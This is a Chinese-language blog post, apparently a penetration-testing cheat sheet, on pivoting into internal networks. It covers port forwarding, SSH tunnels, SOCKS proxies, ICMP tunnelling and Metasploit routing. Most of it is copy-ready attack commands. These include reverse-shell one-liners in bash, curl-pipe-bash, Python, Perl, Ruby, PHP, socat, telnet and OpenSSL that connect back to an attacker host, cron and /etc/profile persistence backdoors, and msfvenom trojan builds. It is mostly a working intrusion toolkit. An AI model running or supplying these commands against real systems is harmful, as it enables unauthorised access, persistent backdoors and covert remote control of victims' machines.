基本概念
端口转发和端口映射
- 端口转发:有时也称为隧道,是将一个端口收到的流量转发到另一个端口
- 端口映射:属于NAT的一种,是将一个端口映射到另一个端口供他人使用
代理
- Http代理:使用Http协议,工作在应用层,主要用来代理浏览器访问网页
- Socks代理:使用Socks协议,工作在会话层,主要用来传递数据包,分为Socks4和Socks5,Socks4只支持TCP,Socks5支持TCP和UDP
正向连接和反向连接
正向连接
- 正向是攻击者主动连接目标机器
- 条件:边界机能够支持外网连接且存在外网IP
- 例子:一般拿下边界机,如WEB机器,且防火墙可以通过

反向连接
- 反向是目标机器主动连接攻击机,由攻击机开启监听
- 条件:攻击者监听的设备必须具备有外网访问地址
- 例子:通过钓鱼进入内网,多数机器是内网IP,但能够上外网,只能用反向连接

环境搭建

端口转发
端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法,端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为
netsh
netsh 是 windows 系统自带的一个命令行工具,这个工具可以内置中端口转发功能,而且自带命令是过免杀的
| |
| netsh interface portproxy add v4tov4 listenport=<PIRT> connectaddress=<内网靶机IP> connectport=3389 |
| |
| |
| netsh interface portproxy show all |
| |
| |
| win+r => mstsc => <边界机IP>:<PORT> |
LCX
- lcx是最为经典的端口转发工具,基于Socket套接字实现端口转发
- 有Windows和Linux两个版本,分别为
lcx.exe
和 portmap
正向连接
| |
| lcx.exe -tran <PORT> <内网靶机IP> 3389 |
| |
| |
| win+r => mstsc => <边界机IP>:<PORT> |
反向连接
| |
| lcx.exe -slave <攻击机IP> <PORT1> <内网靶机IP> 3389 |
| |
| |
| lcx.exe -listen <PORT1> <PORT2> |
| win+r => mstsc => <攻击机IP>:<PORT2> |
Linux版
正向连接
| |
| ./portmap -m 1 -p1 <PORT> -h2 <内网靶机IP> -p2 3389 |
| |
| |
| rdesktop <边界机IP>:<PORT> |
反向连接
| |
| ./portmap -m 3 -h1 <攻击机IP> -p1 <PORT1> -h2 <内网靶机IP> -p2 3389 |
| |
| |
| ./portmap -m 2 -p1 <PORT1> -p2 <PORT2> |
| rdesktop 127.0.0.1:<PORT2> |
SSH
- 内网中几乎所有Linux/UNIX服务器都支持SSH协议
- SSH协议可以对数据传输进行压缩和加密
- SSH端口隧道经常被攻击者利用
SSH隧道常用参数:
| -C 压缩传输,加快传输速度 |
| -f 将ssh传输传入后台执行,不占用当前的shell |
| -N 建立静默连接(建立了连接,但是看不到具体会话) |
| -g 允许远程主机连接到本地用于转发的端口 |
| -L 本地端口转发 |
| -R 远程端口转发 |
| -D 动态转发(socks代理) |
| -P 指定ssh端口 |
本地端口转发
| |
| ssh [-CfNg] -L <PORT>:<内网靶机IP>:3389 <边界机用户名>@<边界机IP> |
| |
| |
| rdesktop <边界机IP>:<PORT> |
远程端口转发
| |
| ssh [-CfNg] -R <PORT>:<内网靶机IP>:3389 <攻击机用户名>@<攻击机IP> |
| |
| |
| rdesktop 127.0.0.1:<PORT> |
动态端口转发
修改 /etc/ssh/sshd_config
| PermitRootLogin yes |
| PasswordAuthentication yes |
| AllowTcpForwarding yes |
| GatewayPorts yes |
| TCPKeepAlive yes |
| |
| ssh [-CfNg] -D <PORT> <边界机用户名>@<边界机IP> |
| |
| |
| 访问内网:proxychains4 rdesktop <内网靶机IP> |
| nmap扫描:proxychains4 nmap -Pn -sT -n <内网靶机IP> -p 3389,80,139 |
反弹shell
netcat
- Netcat有着“网络工具中的瑞士军刀”的绰号它体积小巧,功能却又十分强大netcat,它使用TCP或UDP协议在网络连接上读取和写入数据,它被设计成一个可靠的“后端”工具,可以是直接或容易被其他程序和脚本所驱动
- 前提条件:代理还是端口转发的前提是该台设备已经拿下基本的权限,能够上传工具和执行工具
- 常用参数:
| -c 指定连接后要执行的shell命令 |
| -e 指定连接后要执行的文件名 |
| -l 监听模式 |
| -p 设置本地使用的通信端口 |
| -u 使用UDP传输协议,默认为TCP |
| -v 显示命令执行过程,使用-vv显示更详细信息 |
正向shell(Linux)
| |
| nc -lvp <port> -e /bin/bash |
| |
| |
| nc <目标机IP> <port> |
正向shell(Windows)
| |
| nc.exe -lvp <port> -e cmd.exe |
| |
| |
| nc.exe <目标机IP> <port> |
反向shell(Linux)
| |
| netcat -lvvp <port> |
| |
| |
| netcat <攻击机IP> <port> -e /bin/bash |
反向shell(Windows)
| |
| nc.exe -lvvp <port> |
| |
| |
| nc.exe <攻击机IP> <port> -e cmd.exe |
通过边界机反弹shell(Linux)
| |
| nc.exe -lvp <port1> -e cmd.exe |
| |
| |
| nc -lvp <port2> |
| |
| |
| nc -nv <攻击机IP> <port2> -c "nc <目标机IP> <port1>" |
通过边界机反弹shell(Windows)
| |
| nc.exe -lvp <port1> -e cmd.exe |
| |
| |
| nc.exe -lvp <port2> |
| |
| |
| nc.exe -nv <攻击机IP> <port2> -e "nc.exe <目标机IP> <port1>" |
bash
kali 的默认 shell 为 zsh 需要将其改为 bash chsh -s /bin/bash
,重启后就不会报错了
| |
| nc -lvvp <port> |
| |
| |
| bash -i >& /dev/tcp/<攻击机IP>/<port> 0>&1 |
curl+bash
在 vps 里的 www 目录创建 index.php 或 index.html 内容为 bash -i >& /dev/tcp/<攻击机IP>/<port> 0>&1
| |
| nc -lvvp <port> |
| |
| |
| curl <攻击机IP>|bash |
定时任务
每隔一分钟,向<攻击机IP>的端口发送shell
centos系列:/var/spool/cron/<目标机用户名>
Debian/Ubuntu系列:/var/spool/cron/crontabs/<目标机用户名>
| |
| nc -lvvp <port> |
| |
| |
| */1 * * * * /bin/bash -i>&/dev/tcp/<攻击机IP>/<port> 0>&1 |
/etc/profile
| |
| nc -lvvp <port> |
| |
| |
| /bin/bash -i >& /dev/tcp/<攻击机IP>/<port> 0>&1 & |
socat
安装:apt-get install socat
| |
| socat TCP-LISTEN:<port> - |
| |
| |
| socat tcp-connect:<攻击机IP>:<port> exec:'bash -li',pty,stderr,setsid,sigint,sane |
telnet
| |
| nc -lvvp <port> |
| |
| |
| mknod a p; telnet <攻击机IP> <port> 0<a | /bin/bash 1>a |
| |
| nc -lvvp <port1> |
| nc -lvvp <port2> |
| |
| |
| telnet <攻击机IP> <port1> | /bin/bash | telnet <攻击机IP> <port2> |
Python脚本
| |
| nc -lvvp <port> |
| |
| |
| python -c 'import socket,subprocess,os; |
| s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); |
| s.connect(("<攻击机IP>",<port>)); |
| os.dup2(s.fileno(),0); |
| os.dup2(s.fileno(),1); |
| os.dup2(s.fileno(),2); |
| p=subprocess.call(["/bin/sh","-i"]);' |
PHP脚本
| |
| nc -lvvp <port> |
| |
| |
| php -r '$sock=fsockopen("192.168.30.101",8888); |
| exec("/bin/sh -i <&3 >&3 2>&3");' |
Perl脚本
| |
| nc -lvvp <port> |
| |
| |
| perl -e 'use Socket;$i="<攻击机IP>";$p=<port>; |
| socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); |
| if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); |
| open(STDOUT,">&S"); |
| open(STDERR,">&S"); |
| exec("/bin/sh -i");};' |
Ruby脚本
| |
| nc -lvvp <port> |
| |
| |
| ruby -rsocket -e 'c=TCPSocket.new("<攻击机IP>","<port>"); |
| while(cmd=c.gets); |
| IO.popen(cmd,"r"){|io|c.print io.read}end' |
| |
| ruby -rsocket -e 'exit if fork; |
| c=TCPSocket.new("<攻击机IP>","<port>"); |
| while(cmd=c.gets); |
| IO.popen(cmd,"r"){|io|c.print io.read}end' |
| |
| msfvenom -l payloads | grep 'cmd/unix/reverse' |
| |
| |
| msfvenom -p cmd/unix/reverse_python LHOST=<攻击机IP> LPORT=<port> -f raw |
| |
| |
| nc -lvvp <port> |
反弹shell后模拟终端
| |
| nc -lvvp <port> |
| python -c "import pty;pty.spawn('/bin/bash')" |
OpenSSL反弹加密shell
| |
| openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes |
| |
| |
| openssl s_server -quiet -key key.pem -cert cert.pem -port <port> |
| |
| |
| mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <攻击机IP>:<port> > /tmp/s; rm /tmp/s |
代理
服务端
reGeorg(HTTP/HTTPS协议)
- HTTP Service 代理将所有流量转发到内网,常见的有 reGeorg、tuna
- reGeorg 是 reDuh 的升级版,可以将内网服务器端口的数据通过 http/https 隧道转发到本机,但是 reGeorg 的通信特征明显,会被很多杀毒软件查杀
- 支持 ASPX、PHP、JSP等Web脚本
- 下载: https://github.com/sensepost/reGeorg
| |
| www 目录下放置 tunnel.nosocket.php 文件,作为代理服务端 |
| |
| |
| python2 reGeorgSocksProxy.py -u http://<边界机IP>/tunnel.nosocket.php -p 8888 |
| |
| |
| 例1:proxychains4 curl http://192.168.11.12 |
| 例2:proxychains4 nmap -Pn -sT -n 192.168.11.12 -p 3389,80,139 |
| 例3:proxychains4 firefox |
| 例4:proxychains rdesktop 192.168.11.12 |
EarthWorm
-
Earthworm 简称 EW 是一套便携式的网络穿透工具,C语言编写,具有 SOCKSv5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透
-
该工具能够以"正向"、"反向"、"多级级联"等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。支持 Linux、Windows、MacOS、Arm-Linux 均被包括其内。
-
命令参数:
| ssocksd 正向代理 |
| rcsock 反向代理客户端 |
| rssocks 反向代理服务端 |
| lcx_slave 一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机 |
| lcx_tran 通过监听本地端口接收代理请求,并转发给代理提供主机 |
| lcx_listen 通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机 |
1层连接(正向)
| |
| ew.exe -s ssocksd -l <port> |
| |
| |
| proxy => <边界机IP>+<port> |
| win+r => mstsc => <内网靶机IP> |
1层连接(反向)
| |
| ew.exe -s rcsocks -l <port2> -e <port1> |
| |
| |
| ew.exe -s rssocks -d <攻击机IP> -e <port1> |
| |
| |
| proxy => <127.0.0.1>+<port2> |
| win+r => mstsc => <内网靶机IP> |
2层级联(正向)
| |
| ew.exe -s ssocksd -l <port1> |
| |
| |
| ew.exe -s lcx_tran -l <port2> -f <二层边界机IP> -g <port1> |
| |
| |
| proxy => <边界机IP>+<port> |
| win+r => mstsc => <内网靶机IP> |
2层级联(反向)
| |
| ew.exe -s lcx_listen -l <port3> -e <port2> |
| |
| |
| ew.exe -s ssocksd -l <port1> |
| |
| |
| ew.exe -s lcx_slave -d <攻击机IP> -e <port2> -f <二层边界机IP> -g <port1> |
| |
| |
| proxy => <127.0.0.1>+<port2> |
| win+r => mstsc => <内网靶机IP> |
隐秘隧道
ICMP
- 一般两台设备要进行通信,ICMP 协议不需要开放端口
- ICMP 消息为 ping 命令的回复,攻击者可以利用命令行得到比回复更多的 ICMP 请求
- ICMP 隧道,可以将 TCP/UDP 数据封装到 ICMP 的 ping 数据包中,从而穿过防火墙
- 常见的工具:imcpsh、PingTunnel、icmptunnel 等
icmpsh
防火墙仅开放ICMP

| |
| echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all |
| python2 icmpsh_m.py <攻击机IP> <防火墙外网卡IP> |
| |
| |
| icmpsh.exe -t <攻击机IP> -d 500 -b 30 -s 128 |
内网穿透
frp
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
文档:https://gofrp.org/docs/
ngrok

| |
| ngrok config add-authtoken <Authtoken> |
| ngrok http 80 |
实验拓扑图

生成木马
利用 msf 生成后门,上传到 DMZ 跳板机,然后利用 msf 做监听,反弹 shell 回来,然后在路由器添加路由节点,快速可以进行内网漫游
| |
| msfvenom -h |
| |
| |
| |
| msfvenom -p windows/meterpreter_reverse_tcp LHOST=<攻击机IP> LPORT=<port> -f exe > shell-x86.exe |
| msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=<攻击机IP> LPORT=<port> -f elf > shell-x86.elf |
MSFVenom Reverse Shell Payload
Non-Meterpreter Binaries
| |
| x86 - msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe |
| x64 - msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe |
| |
| |
| x86 - msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe |
| x64 - msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe |
| |
| |
| x86 - msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf |
| x64 - msfvenom -p linux/x64/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf |
| |
| |
| x86 - msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf |
| x64 - msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf |
| |
| |
| asp - msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp |
| jsp - msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp |
| war - msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war |
| php - msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php |
Meterpreter Binaries
| |
| x86 - msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe |
| x64 - msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe |
| |
| |
| x86 - msfvenom -p windows/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe |
| x64 - msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe |
| |
| |
| x86 - msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf |
| x64 - msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf |
| |
| |
| x86 - msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf |
| x64 - msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf |
| |
| |
| asp - msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp |
| jsp - msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > example.jsp |
| war - msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > example.war |
| php - msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php |
设置监听
| |
| msfconsole |
| |
| |
| use exploit/multi/handler |
| |
| |
| show options |
| |
| |
| set lhost <攻击机IP> |
| set lport <port> |
| set payload linux/x64/meterpreter/reverse_tcp |
反弹shell
设置路由
| |
| run get_local_subnets |
| |
| |
| run autoroute -s <xxx.xxx.xxx.0>/24 |
| |
| |
| run autoroute -p |
| |
| |
| bg |
端口扫描
| |
| search portscan |
| |
| |
| use 5 |
| |
| |
| show options |
| |
| |
| set rhosts <目标IP> |
| set ports <port1>,<port2>,<port3>,... |
| |
| |
| run |
代理
| |
| search socks |
| search socks_proxy |
| |
| |
| use auxiliary/server/socks_proxy |
| |
| |
| show options |
| |
| |
| run |
| jobs |
| |
| |
| socks5 127.0.0.1 1080 |
| |
| |
| sessions |
| |
| |
| sessions <序号> |
| |
| |
| exit |
| |
| |
| socks5 127.0.0.1 1080 |
| |
| |
| proxychains4 firefox |
| |
| |
| proxychains4 rdesktop <内网靶机IP> |
端口转发
portfwd 是 MSF 中自带的端口转发工具
| |
| portfwd add -l <port> -p 3389 -r <攻击机IP> |
| |
| |
| rdesktop 127.0.0.1:<port> |
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步